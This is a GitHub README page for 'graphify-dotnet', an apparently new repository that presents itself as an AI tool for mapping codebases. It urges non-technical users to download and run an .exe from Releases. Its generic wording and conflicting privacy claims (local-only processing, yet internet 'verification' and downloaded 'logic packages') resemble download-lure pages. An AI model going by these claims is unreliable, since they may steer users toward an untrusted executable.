Skip to content

Latest commit

 

History

4 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

🧠 graphify-dotnet - Map your code with artificial intelligence

Download graphify-dotnet

graphify-dotnet creates visual maps of your code. It scans your files and builds a knowledge graph. This helps you understand how different parts of your software relate to each other. It uses modern tools to process code structures and displays them in a clear map.

🛠 Prerequisites

Your computer needs a few things to run this tool. Please check these items before you start.

  1. You use a computer running Windows 10 or Windows 11.
  2. Your computer has at least 8 gigabytes of memory.
  3. You have an active internet connection.
  4. You possess basic familiarity with opening folders and clicking files on your desktop.

This tool does not require you to write code or understand software development. It handles the technical work for you. You just need to point the tool at the folder containing your code.

💾 Installation

You can get the software from our official project page. Visit this page to download the setup file.

Download the graphify-dotnet Installer

Follow these steps to finish the setup:

  1. Click the link above to reach the project page.
  2. Look for the "Releases" section on the right side of the page.
  3. Click the latest version link.
  4. Select the file ending in .exe to start your download.
  5. Save the file to your "Downloads" folder.
  6. Open your "Downloads" folder and double-click the file you saved.
  7. Follow the prompts on the screen to finish the installation.

🚀 Getting Started

Once you install the tool, look for the graphify icon on your desktop. Double-click the icon to launch the program. The main window shows a simple interface.

To start mapping your code, follow these steps:

  1. Click the "Open Folder" button in the top menu.
  2. Select the folder on your computer that contains the code you want to study.
  3. Press the "Build Map" button.
  4. Wait for the progress bar to finish. The tool analyzes your files using advanced internal logic. It creates a complete map based on your specific file structure.
  5. Once the process completes, the main display will show your code as a web of connected nodes.

🗺 Navigating Your Map

The map view helps you find information quickly. Your code appears as circles connected by lines.

  • Use your mouse wheel to zoom in and out of the map.
  • Click and drag your mouse to move around the canvas.
  • Click on any specific node to see details about that file or class.
  • Use the search bar at the top to find a specific file by name.

The tool updates the view in real time. If you move your mouse over a connection, the tool highlights the relationship between two parts of your code. This helps you see how one function calls another.

⚙️ Configuration Options

You can change how the map looks. Click on the "Settings" gear icon to see your options.

  • Color schemes: Choose between light or dark displays.
  • Detail level: Adjust how much information the tool shows for each file. Set this to "High" to see every detail or "Low" for a cleaner view.
  • Automatic updates: Keep this setting enabled so the tool always uses the newest methods for analyzing your code.

🔍 Understanding the AI Analysis

graphify-dotnet uses artificial intelligence to read your files. It looks for patterns in how you name your functions and how you organize your projects. This allows it to make smart guesses about what parts of your code are most important.

The tool categorizes your code into three main groups:

  1. Core files: These files contain the logic that makes your software work.
  2. Support files: These files help the core files run.
  3. Libraries: These are external parts of your code that add extra features.

You can see these groups highlighted in different colors on the map. This makes it easy to spot where you have complex segments or extra files you no longer need.

📦 Troubleshooting

If the software does not work, try these steps first:

  1. Check your internet connection. The AI components require a connection to verify your settings.
  2. Ensure the folder you picked contains actual code files. The tool works best with C# files but can scan other text-based languages.
  3. Close other programs that use a lot of memory. Visualizing large codebases takes computer memory.
  4. Uninstall the software and download it again from the link provided above. This ensures you have the latest version.

If you still encounter issues, check your Windows updates. Sometimes, the computer needs a quick update to run new software correctly.

🛡 Security and Privacy

Your privacy matters. This tool processes your code locally on your computer. It does not upload your files to the internet. We prioritize your privacy above all else. Your code stays on your drive at all times.

The AI components only download small logic packages to help interpret the structure of your files. They never send your personal source code to our servers. You can safely map your private projects without fear of leaking your files.

💡 Best Practices

For the best results, map your code in smaller chunks. If you have a very large software project, select a specific sub-folder instead of the main root directory. This makes the map easier to read and allows the tool to run faster.

Organize your code using standard folder structures. The tool recognizes standard professional layouts. If you keep your files in a clean, logical order, the map will look much neater and provide better insights. Use the tool to identify circular connections, which are often signs of overly complex code that requires simplifying.

📋 Technical Support

The project is built on the .NET framework. This ensures it works smoothly on Windows. Because it uses the latest .NET version, it is fast and responsive. We use industry-standard libraries to ensure compatibility with your system. We test the tool on multiple Windows versions to ensure reliability.

If you require advanced configuration, you can look at the command line options. Open your command prompt, type the name of the program, and add --help to see advanced commands for power users. However, for most users, the graphical interface provides everything you need to map your code successfully.

We welcome feedback on your experience. You can suggest features or report bugs on our main page. We strive to make this tool useful for anyone who wants to understand their code better. Use it to gain clarity on your projects and improve your software structure.

About

Analyze codebases to build AI-powered knowledge graphs and visualize hidden project connections.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors